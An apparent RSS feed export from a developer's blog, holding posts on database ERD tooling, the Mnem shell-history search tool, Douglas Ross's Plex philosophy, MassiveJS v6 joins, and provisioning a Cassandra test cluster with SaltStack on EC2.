The lowest ratio I have in a real working database is 0.56, and it's a small one, with f=14 and t=25. Others range from 0.61 (f=78, t=126) all the way up to 1.96 (f=2171, t=1107 thanks to a heavily partitioned table with multiple foreign keys); pagila itself is in the middle at 1.08 (f=27, t=25). I don't have enough data to back this up, but I think it's reasonable to expect that the number of relationships tends to increase faster than the number of tables. Without restrictions on traversal, you might as well draw a regular ERD: superclusters are inevitable.
fks will draw a regular ERD if passed only the database name, but like I said earlier, automated tools are only so good at layout (and in a terminal of limited width, even a smallish database is liable to produce an illegibly zoomed-out model). With no way to add universal render hints, Graphviz does a lot better with the smaller, more restricted graphs from local perspectives inside the database -- and so do humans. Reading a full-scale data model is hard! Tens or hundreds of nodes have to be sorted by relevance to the problem at hand; nodes and relationships which matter have to be mapped, the irrelevant actively ignored, others tagged with a mental question mark. Often a given problem involves more relevant entities than the human mind can track unaided. fks doesn't resolve the issue completely, but making a database spatial and navigating that space visually goes some way to meet our limitations and those of our tools.
]]>
https://di.nmfay.com/exploring-databases-visually https://di.nmfay.com/exploring-databases-visually Sun, 04 Apr 2021 00:00:00 GMT
<![CDATA[Extra-fuzzy History Searching with Mnem]]> Update: mcfly already existed, with a slightly different approach (neural network instead of structural analysis) with a lack of fuzzy searching its only real downside, so I added that there. Use mcfly instead!
I use a lot of Rust command-line tools: ripgrep, fd, dust, and more. So when I had my own idea for a better command-line mousetrap, it seemed like the way to go.
Shells log the commands you enter to a history file. Bash has .bash_history, zsh uses .histfile. The EXTENDED_HISTORY option in the latter adds timestamps, but that's about as fancy as it gets. Both shells (and presumably others) also have "reverse search" functionality which lets you look backwards and forwards through it, one line at a time.
reverse searching for rustc calls
Functional! But not especially friendly. Only seeing one result at a time makes it difficult to evaluate multiple similar matches; matching is strictly linear, as you can see by my typos; and the chronological is only sometimes the most useful order.
I do a lot with the AWS CLI, SaltStack, and other complicated command-line interfaces. I want to compare invocations to see how I've combined verbs and flags in the past, and for tasks I repeat just often enough to forget how to do them sorting by overall frequency is more useful than sorting by time.
Enter Mnem (regrettably, I missed getting clio, the Muse of history, by a matter of weeks):
mnem in use
The idea is pretty simple: load the history file, and reduce every command to its syntactic structure. git commit -m "some message here" becomes git commit -m <val>; mv "hither" "thither" turns into mv <arg1> <arg2>. Many entries will have the same structure, especially if switches are sorted consistently, so counting up occurrences yields each structure's overall popularity.
Picking one such aggregate yields a second selector over the original incidences, and selecting one of those prints it to stdout. This can be referenced, copied and pasted, or even evaled in the shell.
So far I've released Mnem to the Arch AUR and a Homebrew tap:
brew tap dmfay/mnem https://gitlab.com/dmfay/homebrew-mnem.git
brew install dmfay/mnem/mnem
]]>
https://di.nmfay.com/mnem https://di.nmfay.com/mnem Thu, 17 Sep 2020 00:00:00 GMT
<![CDATA[Plex: A Life]]> A little while back I got my hands on a copy of Software Development and Reality Construction, the output of a conference held in Berlin in 1988. Among a variety of other more or less philosophical treatments of the theory and practice of software development, Don Knuth analyzes errors he made in his work on TeX; Kristen "SIMULA" Nygaard reviews his collaboration with labor unions to ensure that software meant to coordinate and control work does not wind up controlling the workers as well, a rather grim read in the era of Uber and Amazon; Heinz Klein and Kalle Lyytinen embark on a discussion of data modeling as production rather than as interpretation or hermeneutics. In all, it's some of the most insightful writing about programming and software engineering I've encountered.
This isn't about those contributions.
There's an entry fairly early on from one Douglas T. Ross, called "From Scientific Practice to Epistemological Discovery". Ross, who died in 2007, was a computer scientist and engineer most remembered today for the influential APT machine tools programming language and for coining the term "computer-aided design".
This isn't about the things Doug Ross is remembered for.
Doug Ross had a system. The system began its public life as an early software engineering methodology in the Cambrian explosion of such methodologies enabled by the spread of high-level programming languages in the 60s and 70s. The system went by a few names. Ross's company, SofTech Inc., called it the Structured Analysis and Design Technique or SADT. The US Air Force, never wont to use merely one acronym where two will do, called it IDEF0: ICAM (Integrated Computer Aided Manufacturing) DEFinition for function modeling.
To Doug Ross, the system was Plex. And Plex was everything. When the Department of Defense cut the Structured Analysis data modeling approach from IDEF0 in favor of a simpler methodology to be developed by SofTech subcontracters and named IDEF1, Ross decried the decision as destroying the "mathematical elegance and symmetric completeness of SADT [...] IDEF0 became merely the best of a competing zoo of other software development CASE tools, none of which were scientifically founded". He saw his career, and, indeed, his life, as drawing him inevitably toward the discovery and promulgation of his "philosophy of problem-solving", and furthering Plex's development became more and more important to him as time went on. In the mid-80s, he stopped drawing a salary at SofTech and went back to MIT, lecturing part-time on electrical engineering in order to focus more of his efforts on Plex.
But even MIT was, in Ross's own words, "not yet ready for [Structured Analysis] much less Plex". A graduate seminar on Plex itself was briefly offered in 1984, but was canceled due to lack of student interest. In "From Scientific Practice" Ross bemoans his inability to gain traction for Plex, writing of feeling "an intolerable burden of responsibility to still be the only person in the world (to my knowledge) pursuing it". His only recourse was to turn inward and "generate book after book on Plex in my office at home, in order that Plex will be ready when the world is ready for it!"
At this point, Doug Ross might be sounding a little bit like a crank. Let me be clear: Douglas T. Ross, computer science pioneer, was absolutely a crank of the first water. This is just as absolutely to his credit; any fool can make it from the sublime to the ridiculous, but it takes real talent to go in the other direction. And Plex is sublime, if in its own dry, academic way. Ross is not the celestial paranoiac Francis E. Dec, ranting and raving about the Worldwide Deadly Gangster Communist Computer God and lunar brain storage depots; nor is Plex the gonzo experience of Nature's Harmonic Simultaneous 4-Day Time Cube. That said, Ross never devolves into the racist vituperations Dec and Time Cube's Gene Ray were sometimes given to, either. So it goes.
Plex itself is a sprawling, incoherent metaphysics built, according to Ross, on the foundation of a single pun (or, more properly, double entendre): "nothing can be left out". Thus inspired, Ross embarks upon the classic Cartesian thought experiment. But where Descartes discards every proposition except the cogito ("I think, therefore I am"), Ross's buck stops at "nothing doesn't exist".
Or, in Ross's own framing:
Nothing doesn't exist. That is the First Definition of Plex -- a scientific philosophy whose aim is understanding our understanding of the nature of nature. Plex does not attempt to understand nature itself, but only our understanding of it. We are included in nature as we do "our understanding", both scientific and informal, so we must understand ourselves as well -- not just what we think we are, but as we really are, as integral, natural beings of nature. How one "understand"s and even who "we" are as we do "our understanding" necessarily is left completely open, for all that must arise naturally from the very nature of nature.
All emphasis -- all of it, I assure you -- original. Ross's dedication to bold and italic text wavers from work to work and page to page, but on balance "From Scientific Practice to Epistemological Discovery" is in fine form. Early entries he refers to in his "thousands of C-pages" (that is, "chronological working pages", all of which may or may not have been lost) and lecture notes he prepared in 1985 sometimes switch between up to eight colors every few words. The lecture notes are of particular interest compared to the other extant materials, comprising a "study of an SADT Data Model which expresses all aspects of any object which obeys laws of physical cause and effect" delivered as a dialogue between Ross and a genie reminiscent of Gödel, Escher, Bach.
Having arrived at the First Definition, Ross next attempts to deduce everything else from it, claiming that Plex need make no assumptions. "Nothing doesn't exist" leads, expanded this way and that, to "Only that which is known by definition is known -- by definition", as, "without a definition for something, we only can know it as Nothing". Within the space of a few paragraphs, he's slammed what appears to be his own misinterpretation of Stephen Hawking and (unknowingly?) reinvented Spinoza's pantheism, on the grounds that "Nothing isn't; Plex is what Nothing isn't". And for what it's worth, this is all still in the first two pages of "From Scientific Practice".
In another instance, Plex guides Ross to enlightenment regarding questions of information theory. It turns out that a single bit actually requires 3/2 binary digits for encoding, "because the value of the half-bit is 3/4 !!!".
-- which ultimately results from the fact that in actuality, when you don't have something, it is not the case that you have it but it is Nothing -- it is that you don't have it; whereas when you do have something, that is because you don't have what it isn't!
At a closer reading, this isn't necessarily the gibberish it might seem at first blush. Plex's foundation in "Nothing" makes zero the default state. But one is only understandable when there's an understood meaning for one. The elaboration about nothings and somethings makes it seem like Ross is counting this other one -- that is, half a bit -- towards the cost of encoding any other bit. In semiotic terms, this is the interpretant or subjective value Charles Sanders Peirce sees implicit in signification. But if Ross ever investigated the ways logicians and linguists had already been exploring this territory, there's no indication that he attached any significance (as it were) to their work. And while including the interpretant for half the possible values may yield the same final figure, it does not account for the 3/4 half-bit; so in the face of storage hardware design as practiced, Ross's insistence on 3/2 seems more mystical than scientific.
I have no idea how au courant Ross was with the humanities in general, but it seems likely that the answer is "not very". He was, of course, quite well-versed in math and engineering. Even deep in the mire of Plex, one can find him struggling to accommodate the realization that he was, in essence, defining formal systems backwards (he settles this with the ingenious maneuver of declaring the distinction akin to chirality), but the only philosopher he mentions is Plato. His efforts at deductive logic too seem thoroughly warped, as evinced by his "proof that every point is the whole world". For reference, an object's "identity" is tautologically defined as above: the set of "that" which "this" isn't.
I n = 1: A world of one point is the whole world.
II Assume the theorem is true for (n - 1) points. (n > 1),
i.e., for any collection of (n - 1) points, every point is the whole world.
[ed: remember, Plex needs no assumptions, let alone "assume the theorem is true"]
III To prove the theorem for n points given its truth for (n - 1) points
(n > 1)
(a) The identity of any one point, p, in the collection is a collection of (n -
1) points, each of which is the whole world, by II.
(b) The identity of any other point, q, i.e., a point of the identity of p, is
a collection of (n - 1) points, each of which is the whole world, by II.
(c) The identity of p and the identity of q are identical except that where
the identity of p has q the identity of q has p. In any case p is the
whole world by (b) and q is the whole world by (a).
(d) Hence both p and q are the whole world, as are all the other points (if
any) in their respective identities (and shared between them).
(e) Hence all n points are the whole world.
IV For n = 2, I is used (via II) in IIIa and IIIb, q.e.d.
V Q.E.D. by natural induction.
As mentioned, Ross generated a wealth of C-pages, lecture notes, and other writings on Plex, but except for a small fraction apparently hosted on his last MIT faculty/program page, I have no idea where most of this collection ended up. If you're interested in reading further in Ross's own words, the best places to start are probably "From Scientific Practice to Epistemological Discovery" in Software Development and Reality Construction or The Plex Tract.
Coda
Doug Ross himself remains a rather cryptic figure. There's some biographical information out there, but after his birth to missionary parents in what's now Guangdong and childhood homecoming to the Finger Lakes region of New York it mostly concerns where, when, with whom, and on what he was working. In his writings he comes off somewhat full of himself, as tends to be the case with esoteric philosophers and visionaries for whom the world is not yet and will never be ready. But when Ross talks about the necessary perfection, or perfect necessity, of his marriage to his wife Pat, herself a human computer at MIT's Lincoln Laboratory, it's still a little bit charming. And when he writes, with complete seriousness, that "being a pioneer came naturally" to him, I can't exactly say otherwise.
I wonder what it was like in that conference hall in 1988. I don't know whether the attendees or the organizers knew what they were in for when Ross got up to talk about this beautiful, all-consuming nonsense that was driving him to desperation. But sense isn't everything; and as a project of reality construction Plex is a monumental accomplishment. And the reality we ourselves have collectively constructed, in which points are points, a bit corresponds to a single binary digit, and genies obstinately refuse to appear no matter how we manipulate bottles, is the richer for its existence.
]]>
https://di.nmfay.com/plex https://di.nmfay.com/plex Fri, 06 Sep 2019 00:00:00 GMT
<![CDATA[JOIN Semiotics and MassiveJS v6]]> MassiveJS version 6 is imminent. This next release closes the widest remaining gap between Massive-generated APIs and everyday SQL, not to mention other higher-level data access libraries: JOINs.
This is something of a reversal for Massive, which until now has had very limited functionality for working with multiple database entities at once. I've even written about this as a constraint not without benefits (and, for the record, I think that still -- ad-hoc joins are a tool to be used judiciously in application code!).
But the main reason for this lack was always that I'd never come up with any solution that didn't fit awkwardly into an already-awkward options object. Deep insert and resultset decomposition were quite enough to keep track of. I am naturally loath to concede any inherent advantages to constructing models, but this really seemed like one for the longest time.
There are, however, ways. Here's what Massive joins look like, if we invade the imaginary privacy of an imaginary library system's imaginary patrons:
const whoCheckedOutCalvino = await db.libraries.join({
books: {
on: {library_id: 'id'},
patron_books: {
type: 'LEFT OUTER',
pk: ['patron_id', 'book_id'],
on: {book_id: 'books.id'},
omit: true
},
who_checked_out: {
type: 'LEFT OUTER',
relation: 'patrons',
on: {id: 'patron_books.patron_id'}
}
}
}).find({
state: 'EV',
'books.author ILIKE': 'calvino, %'
});
(relation in this sense indicates a table or view.)
And the output:
[{
"id": 2,
"name": "East Virginia State U",
"state": "EV",
"books": [{
"author": "Calvino, Italo",
"id": 1,
"library_id": 2,
"title": "Cosmicomics",
"who_checked_out": [{
"id": 1,
"name": "Lauren Ipsum"
}]
}]
}, {
"id": 3,
"name": "Neitherfolk Public Library",
"state": "EV",
"books": [{
"author": "Calvino, Italo",
"id": 2,
"library_id": 3,
"title": "Cosmicomics",
"who_checked_out": [{
"id": 2,
"name": "Daler S. Ahmet"
}]
}, {
"author": "Calvino, Italo",
"id": 4,
"library_id": 3,
"title": "Invisible Cities",
"who_checked_out": []
}]
}]
Or in other words, exactly what you'd hope it would look like -- and what, if you use Massive, you may previously have been dealing with a view and decomposition schema to achieve. This is a moderately complex example, and between defaults (e.g. type to INNER) and introspection, declaring a join can be as simple as naming the target: db.libraries.join('books').
The join schema is something of an evolution on the decomposition schema, sharing the same structure but inferring column lists, table primary keys, and even some on conditions where unambiguous foreign key relationships exist. It's more concise, less fragile, and still only defined exactly when and where it's needed. Even better, compound entities created from tables can use persistence methods, meaning that join() can replace many if not most existing usages of deep insert and resultset decomposition.
It might seem a little unconventional to just invent ersatz database entities out of whole cloth. There's some precedent -- Massive already treats scripts like database functions -- but the compound entities created by Readable.join() are a good bit more complex than that. There's a method to this madness though, and its origins date back to before Ted Codd came up with the idea of the relational database itself.
Semiotics from 30,000 Feet
Semiotics is, briefly, the study of meaning-making, with 19th-century roots in both linguistics and formal logic. It's also a sprawling intellectual tradition in dialogue with multifarious other sprawling intellectual traditions, so I am not remotely going to do it justice here. The foundational idea is credited on the linguistics side to Ferdinand de Saussure: meaning is produced in the relation of a signifier to a signified, or taken together a sign. Smoke to fire, letter to sound, and so forth. Everything else proceeds from that relationship. There is, of course, a lot more of that everything else, and like so many other foundational ideas the original Saussurean dyad is something of a museum piece.
But the idea of theorizing meaning itself in almost algebraic terms would outlive de Saussure. The logician Charles Sanders Peirce had already come to similar conclusions, and had realized to boot that the interpreted value of the signifier's relationship to its signified is as important as the other two. Peirce, following this line of reasoning, understood this "interpretant" itself to be a sign comprising its own signifier and signified which in turn yield their own interpretant, in infinite chains of signification. Louis Hjelmslev, meanwhile, reimagined de Saussure's dyad as a relation of expression to content, and added a second dimension of form and substance. To Hjelmslev, a sign is a function, in the mathematical sense, mapping the "form of expression" to the "form of content", naming as the "substance of expression" and "substance of content" the raw materials formed into the sign.
The use of the term "substance" sounds kind of like some sort of philosophically-détourned jargon, but there are no tricks here: it's just stuff. There's no more specific designation than the likes of "substance" for "that which has been made into a sign"; the category includes everything from physical materials to light, gesture, positioning, electricity, more, in endless combinations. A sign is created by these matters being selected and formed into content and expression: fuel, oxygen, and heat organized into fire and smoke, or sounds uttered in an order corresponding to a known linguistic quantity. It should be said also that consciousness need not enter into it: anything can make a sign, and even a plant can interpret one.
This all is to say: there's stuff out there, and what it has in common is that it is made to mean things. Most stuff, in fact, is constantly meaning many things at the same time, as long as there's an interpreting process -- and there's always something. The philosopher-psychologist tag team of Gilles Deleuze and Felix Guattari envisioned the primordial soup of matters-awaiting-further-formation as a spatial dimension: the plane of consistency or plane of immanence. Signification, as they proposed in 1000 Plateaus, happens on and above the plane of consistency, as matters are selected and drawn up from it to become substance and sign. The recursive nature of signification means that these signs are then selected into the substance of yet other signs, becoming layers or strata on the plane in a fashion they compare to the formation of sedimentary rock.
Signs and Databases
A database management system, like any other program, is an immensely complex system of signs. However, what sets DBMSs (and some other categories of software, like ledgers and version control systems) apart is that they're designed to manage other systems of signs. Thanks to this recursive aspect, a database can be imagined as a plane of consistency, a space from which any combination of unformed bytes might be drawn up into column-signs and row-signs which in turn are gathered into table-signs and view-signs and query-signs.
And if tables and views and queries are all still signs at base, where exactly do the differences come in? Tables store persistent data and are therefore mutable, while views and queries do not and are not, and must be constituted from tables themselves and (in the case of views) from each other. Tables constitute a lower stratum of signs, with views forming table- and view-substance into signs on higher strata, and queries higher still, at a sufficient remove from the plane of consistency that they're no longer stored in the database itself.
This is, of course, arriving at inheritance the long way around. In Massive terms, database entities are first instances of a base Entity class, after which they inherit a second prototype: one of Sequence, Executable, or Readable. Some of the latter may be further articulated as Writables, as well; there are no Writables which are not also Readables.
But there's more than one thing happening here, and the ordering of tables, views, and database functions into class-strata is the second step -- matters must be chosen before they can be formed into signs. It's in this first step of stratification that Massive adds script files to the API system of signs, treating them (almost) identically to functions and procedures.
Readable.join() takes the same idea further to expand on the database's relations: before, a Readable mapped one-to-one with a single table or view. But as long as SQL can be generated to suit, there's no reason one Readable couldn't map to multiple relations. Writables too, for that matter:
const librariesWithBooks = db.libraries.join('books');
const libraryMembers = db.patrons.join('libraries');
// inserts work exactly like deep insert, persisting an
// entire object tree
const newLibrary = await librariesWithBooks.insert({
name: 'Lichfield Public Library',
state: 'EV',
books: [{
library_id: undefined,
title: 'Jurgen: A Comedy of Justice',
author: 'Cabell, James Branch'
}, {
library_id: undefined,
title: 'If On a Winter\'s Night a Traveller',
author: 'Calvino, Italo'
}]
});
// updates make changes in the origin table, based on
// criteria which can reference the joined tables
const withCabell = await librariesWithBooks.update({
'books.author ilike': 'cabell, %'
}, {
has_cabell: true
});
// deletes, like updates, affect the origin table only
const iplPatrons = await libraryMembers.destroy({
'libraries.name ilike': 'Imaginary Public Library'
});
Try it Out!
The first v6 prerelease is available now: npm i massive@next. There's now a prerelease section of the docs going over what's new and different in detail. But to sum up the other changes:
• Node < 7.6 is no longer supported.
• Implicit ordering has been dropped.
• Resultset decomposition now yields arrays instead of objects by default. The array schema field is no longer recognized, and you'll need to remove it from your existing decomposition schemas. To yield objects, set decomposeTo: 'object' instead.
• JSON and JSONB properties are now sorted as their original type instead of being processed as text.
• The type property of the order option has been deprecated in favor of Postgres-style field::type casting as used elsewhere. It will continue to work through the 6.x lifecycle but may be removed in a subsequent major release.
This is a feature I've been wishing I could make happen somehow ever since I first published the original resultset decomposition Gist more than two years ago. It's involved extensive changes to table loading, criteria parsing, and statement generation. I've endeavored not to break these areas, and have informally experimented by dropping pre-prerelease versions into an existing codebase. Results have been good, but should you find an issue with this or any other Massive functionality, please let me know!
I'm really excited to see just how far joins expand Massive's capabilities, but in truth there's just one thing I think I and most other Massive users will get the most mileage out of: plain old query predicate generation with criteria objects, without having to define and manage a plethora of views to cover basic JOINs. Stratification is a useful way to think about the production of meaning -- but strata themselves can also be dead weight.
]]>
https://di.nmfay.com/join-semiotics https://di.nmfay.com/join-semiotics Tue, 13 Aug 2019 00:00:00 GMT
<![CDATA[A Self-Sourcing Cassandra Cluster with SaltStack and EC2]]> Anybody doing something interesting to a production Cassandra cluster is generally advised, for a host of excellent reasons, to try it out in a test environment first. Here's how to make those environments effectively disposable.
The something interesting we're trying to do to our Cassandra cluster is actually two somethings: upgrading from v2 to v3, while also factoring Cassandra itself out from the group of EC2 servers that currently run Cassandra-and-also-some-other-important-stuff. We have a "pets" situation and want a "cattle" situation, per Bill Baker: pets have names and you care deeply about each one's welfare, while cattle are, not to put too fine a point on it, fungible. If we can bring new dedicated nodes into the cluster, start removing the original nodes as replication takes its course, and finally upgrade this Database of Theseus, that'll be some significant progress -- and without downtime, even! But it's going to take a lot of testing, to say nothing of managing the new nodes for real.
We already use SaltStack to monitor and manage other areas of our infrastructure besides the data pipeline, and SaltStack includes a "salt-cloud" module which can work with EC2. I'd rather have a single infra-as-code solution, so that part's all good. What isn't: the official Cassandra formula is geared more towards single-node instances or some-assembly-required clusters, and provisioning is a separate concern. I expect to be creating and destroying clusters with abandon, so I need this to be as automatic as possible.
Salt-Cloud Configuration
The first part of connecting salt-cloud is to set up a provider and profile. On the Salt master, these are in /etc/cloud.providers.d and /etc/cloud.profiles.d. We keep everything in source control and symlink these directories.
Our cloud stuff is hosted on AWS, so we're using the EC2 provider. That part is basically stock, but in profiles we do need to define a template for the Cassandra nodes themselves.
etc/cloud.profiles.d/ec2.conf
cassandra_node:
provider: [your provider from etc/cloud.providers.d/ec2.conf]
image: ami-abc123
ssh_interface: private_ips
size: m5.large
securitygroup:
- default
- others
cassandra-test.map
With the cassandra_node template defined in the profile configuration, we can establish the cluster layout in a map file. The filename doesn't matter; mine is cassandra-test.map. One important thing to note is that we're establishing a naming convention for our nodes: cassandra-*. Each node is also defined as t2.small size, overriding the default m5.large -- we don't need all that horsepower while we're just testing! t2.micro instances, however, did prove to be too underpowered to run Cassandra.
cassandra_node:
- cassandra-1:
size: t2.small
cassandra-seed: true
- cassandra-2:
size: t2.small
cassandra-seed: true
- cassandra-3:
size: t2.small
cassandra-seed (and size, for that matter) is a grain, a fact each Salt-managed "minion" knows about itself. When Cassandra comes up in a multi-node configuration, each node looks for help joining the cluster from a list of "seed" nodes. Without seeds, nothing can join the cluster; however, only non-seeds will bootstrap data from the seeds on joining so it's not a good idea to make everything a seed. And the seed layout needs to toposort: if A has B and C for seeds, B has A and C, and C has A and B, it's the same situation as no seeds. If two instances know that they're special somehow, we can use grain matching to target them specifically.
Pillar and Mine
The Salt "pillar" is a centralized configuration database stored on the master. Minions make local copies on initialization, and their caches can be updated with salt minion-name saltutil.refresh_pillar. Pillars can target nodes based on name, grains, or other criteria, and are commonly used to store configuration. We have a lot of configuration, and most of it will be the same for all nodes, so using pillars is a natural fit.
srv/salt/pillar/top.sls
Like the top.sls for Salt itself, the Pillar top.sls defines a highstate or default state for new minions. First, we declare the pillars we're adding appertain to minions whose names match the pattern cassandra-*.
base:
'cassandra-*':
- system-user-ubuntu
- mine-network-info
- java
- cassandra
srv/salt/pillar/system-user-ubuntu.sls
Nothing special here, just a user so we can ssh in and poke things. The private key for the user is defined in the cloud provider configuration.
system:
user: ubuntu
home: /home/ubuntu
srv/salt/pillar/mine-network-info.sls
The Salt "mine" is another centralized database, this one storing grain information so minions can retrieve facts about other minions from the master instead of dealing with peer-to-peer communication. Minions use a mine_functions pillar (or salt-minion configuration, but we're sticking with the pillar) to determine whether and what to store. For Cassandra nodes, we want internal network configuration and the public DNS name, which latter each node has to get by asking AWS where it is with curl.
mine_functions:
network.interfaces: [eth0]
network.ip_addrs: [eth0]
# ask amazon's network config what we're public as
public_dns:
- mine_function: cmd.run
- 'curl -s http://169.254.169.254/latest/meta-data/public-hostname'
srv/salt/pillar/java.sls
Cassandra requires Java 8 to be installed (prospective Java 9 support became prospective Java 11 support and is due with Cassandra 4). This pillar sets up the official Java formula accordingly -- or rather, it did until Oracle archived the Java 8 binaries in April 2019. We're now pulling it from Artifactory, which is a whole other thing.
java:
# vitals
release: '8'
major: '0'
minor: '202'
development: false
# tarball
prefix: /usr/share/java # unpack here
version_name: jdk1.8.0_202 # root directory name
source_url: https://download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/server-jre-8u202-linux-x64.tar.gz
source_hash: sha256=61292e9d9ef84d9702f0e30f57b208e8fbd9a272d87cd530aece4f5213c98e4e
dl_opts: -b oraclelicense=accept-securebackup-cookie -L
srv/salt/pillar/cassandra.sls
Finally, the Cassandra pillar defines properties common to all nodes in the cluster. My upgrade plan is to bring everything up on 2.2.12, switch the central pillar definition over, and then supply the new version number to each minion by refreshing its pillar as part of the upgrade process.
cassandra:
version: '2.2.12'
cluster_name: 'Test Cluster'
authenticator: 'AllowAllAuthenticator'
endpoint_snitch: 'Ec2Snitch'
twcs_jar:
'2.2.12': 'TimeWindowCompactionStrategy-2.2.5.jar'
'3.0.8': 'TimeWindowCompactionStrategy-3.0.0.jar'
The twcs_jar dictionary gets into one of the reasons I'm not using the official formula: we're using the TimeWindowCompactionStrategy. TWCS was integrated into Cassandra starting in 3.0.8 or 3.8, but it has to be compiled and installed separately for earlier versions. Pre-integration versions of TWCS also have a different package name (com.jeffjirsa instead of org.apache). 3.0.8 is the common point, having the org.apache TWCS built in but also being a valid compilation target for the com.jeffjirsa TWCS. After upgrading to 3.0.8 I'll be able to ALTER TABLE to apply the org.apache version before proceeding.
With the provider, profile, map file, and pillar setup we can actually spin up a barebones cluster of Ubuntu VMs now and retrieve the centrally-stored network information from the Salt mine:
sudo salt-cloud -m cassandra-test.map
sudo salt 'cassandra-1' 'mine.get' '*' 'public_dns'
We can't do much else, since we don't have anything installed on the nodes yet, but it's progress!
The Cassandra State
The state definition includes everything a Cassandra node has to have in order to be part of the cluster: the installed binaries, a cassandra group and user, a config file, a data directory, and a running SystemD unit. The definition itself is sort of an ouroboros of YAML and Jinja:
srv/salt/cassandra/defaults.yaml
First, there's a perfectly ordinary YAML file with some defaults. These could easily be in the pillar we set up above (or the pillar config could all be in this file); the principal distinction seems to be in whether you want to propagate changes via saltutil.refresh_pillar, or by (re)applying the Cassandra state either directly or via highstate. This is definitely more complicated than it needs to be right now, but given that this is my first major SaltStack project, I don't yet know enough to land on one side or the other, or if combining a defaults file with the pillar configuration will eventually be necessary.
cassandra:
dc: dc1
rack: rack1
srv/salt/cassandra/map.jinja
The map template loads the defaults file and merges them with the pillar, creating a server dictionary with all the Cassandra parameters we're setting.
{% import_yaml "cassandra/defaults.yaml" as default_settings %}
{% set server = salt['pillar.get']('cassandra', default=default_settings.cassandra, merge=True) %}
srv/salt/cassandra/init.sls
Finally, the Cassandra state entrypoint init.sls is another Jinja template that happens to look a lot like a YAML file and renders a YAML file, which for SaltStack is good enough. Jinja is required here since values from the server dictionary, like the server version or the TWCS JAR filename, need to be interpolated at the time the state is applied.
When the Cassandra state is applied to a fresh minion:
1. wget will be installed
2. A CASSANDRA_VERSION environment variable will be set to the value defined in the pillar
3. A user and group named cassandra will be created
4. A script named install.sh will download and extract Cassandra itself, once the above three conditions are met
5. A node configuration file named cassandra.yaml will be generated from a Jinja template and installed to /etc/cassandra
6. If necessary, the TWCS jar will be added to the Cassandra lib directory
7. The directory /var/lib/cassandra will be created and chowned to the cassandra user
8. A SystemD unit for Cassandra will be installed and started once all its prerequisites are in order
{% from "cassandra/map.jinja" import server with context %}
wget:
pkg.installed
cassandra:
environ.setenv:
- name: CASSANDRA_VERSION
- value: {{ server.version }}
cmd.script:
- require:
- pkg: wget
- user: cassandra
- environ: CASSANDRA_VERSION
- source: salt://cassandra/files/install.sh
- user: root
- cwd: ~
group.present: []
user.present:
- require:
- group: cassandra
- gid_from_name: True
- createhome: False
service.running:
- enable: True
- require:
- file: /etc/cassandra/cassandra.yaml
- file: /etc/systemd/system/cassandra.service
{%- if server.twcs_jar[server.version] %}
- file: /opt/cassandra/lib/{{ server.twcs_jar[server.version] }}
{%- endif %}
# Main configuration
/etc/cassandra/cassandra.yaml:
file.managed:
- source: salt://cassandra/files/{{ server.version }}/cassandra.yaml
- template: jinja
- makedirs: True
- user: cassandra
- group: cassandra
- mode: 644
# Load TWCS jar if necessary
{%- if server.twcs_jar[server.version] %}
/opt/cassandra/lib/{{ server.twcs_jar[server.version] }}:
file.managed:
- require:
- user: cassandra
- group: cassandra
- source: salt://cassandra/files/{{ server.version }}/{{ server.twcs_jar[server.version] }}
- user: cassandra
- group: cassandra
- mode: 644
{%- endif %}
# Data directory
/var/lib/cassandra:
file.directory:
- user: cassandra
- group: cassandra
- mode: 755
# SystemD unit
/etc/systemd/system/cassandra.service:
file.managed:
- source: salt://cassandra/files/cassandra.service
- user: root
- group: root
- mode: 644
srv/salt/cassandra/files/install.sh
This script downloads and extracts the target version of Cassandra and points the symlink /opt/cassandra to it. If the target version already exists, it just updates the symlink since everything else is already set up.
#!/bin/bash
update_symlink() {
rm /opt/cassandra
ln -s "/opt/apache-cassandra-$CASSANDRA_VERSION" /opt/cassandra
echo "Updated symlink"
}
# already installed?
if [ -d "/opt/apache-cassandra-$CASSANDRA_VERSION" ]; then
echo "Cassandra $CASSANDRA_VERSION is already installed!"
update_symlink
exit 0
fi
# download and extract
wget "https://archive.apache.org/dist/cassandra/$CASSANDRA_VERSION/apache-cassandra-$CASSANDRA_VERSION-bin.tar.gz"
tar xf "apache-cassandra-$CASSANDRA_VERSION-bin.tar.gz"
rm "apache-cassandra-$CASSANDRA_VERSION-bin.tar.gz"
# install to /opt and link /opt/cassandra
mv "apache-cassandra-$CASSANDRA_VERSION" /opt
update_symlink
# create log directory
mkdir -p /opt/cassandra/logs
# set ownership
chown -R cassandra:cassandra "/opt/apache-cassandra-$CASSANDRA_VERSION"
chown cassandra:cassandra /opt/cassandra
It's probably possible to do most of this, at least the symlink juggling and directory management, with "pure" Salt (and the environment variable could be eliminated by rendering install.sh as a Jinja template with the server dictionary), but the script does what I want it to and it's already idempotent and centrally managed.
srv/salt/cassandra/files/cassandra.service
This is a basic SystemD unit, with some system limits customized to give Cassandra enough room to run. It starts whatever Cassandra executable it finds at /opt/cassandra, so all that's necessary to resume operations after the symlink changes during the upgrade is to restart the service.
[Unit]
Description=Apache Cassandra database server
Documentation=http://cassandra.apache.org
Requires=network.target remote-fs.target
After=network.target remote-fs.target
[Service]
Type=forking
User=cassandra
Group=cassandra
ExecStart=/opt/cassandra/bin/cassandra -Dcassandra.config=file:///etc/cassandra/cassandra.yaml
LimitNOFILE=100000
LimitNPROC=32768
LimitMEMLOCK=infinity
LimitAS=infinity
[Install]
WantedBy=multi-user.target
srv/salt/cassandra/files/2.2.12/cassandra.yaml
The full cassandra.yaml is enormous, so I won't reproduce it here in full. The interesting parts are where values are being automatically interpolated by Salt. Like the Cassandra state, this is actually a Jinja template which renders a YAML file.
First, we get a list of internal IP addresses corresponding to cassandra-seed minions from the Salt mine and build a list of known_seeds.
{%- from 'cassandra/map.jinja' import server with context -%}
{% set known_seeds = [] %}
{% for minion, ip_array in salt['mine.get']('cassandra-seed:true', 'network.ip_addrs', 'grain').items() if ip_array is not sameas false and known_seeds|length < 2 %}
{% for ip in ip_array %}
{% do known_seeds.append(ip) %}
{% endfor %}
{% endfor %}
This becomes the list of seeds the node looks for when trying to join the cluster.
seed_provider:
- class_name: org.apache.cassandra.locator.SimpleSeedProvider
parameters:
- seeds: "{{ known_seeds|unique|join(',') }}"
Listen and broadcast addresses are configured per node. The broadcast addresses are a little special due to our network configuration needs: each node has to get its public dns name from the Salt mine. This is perhaps a bit overcomplicated compared to a custom grain or capturing the output from running the Salt modules at render time, but it's there and it works and at this point messing with it isn't a great use of time.
listen_address: {{ grains['fqdn'] }}
broadcast_address: {{ salt['mine.get'](grains['id'], 'public_dns').items()[0][1] }}
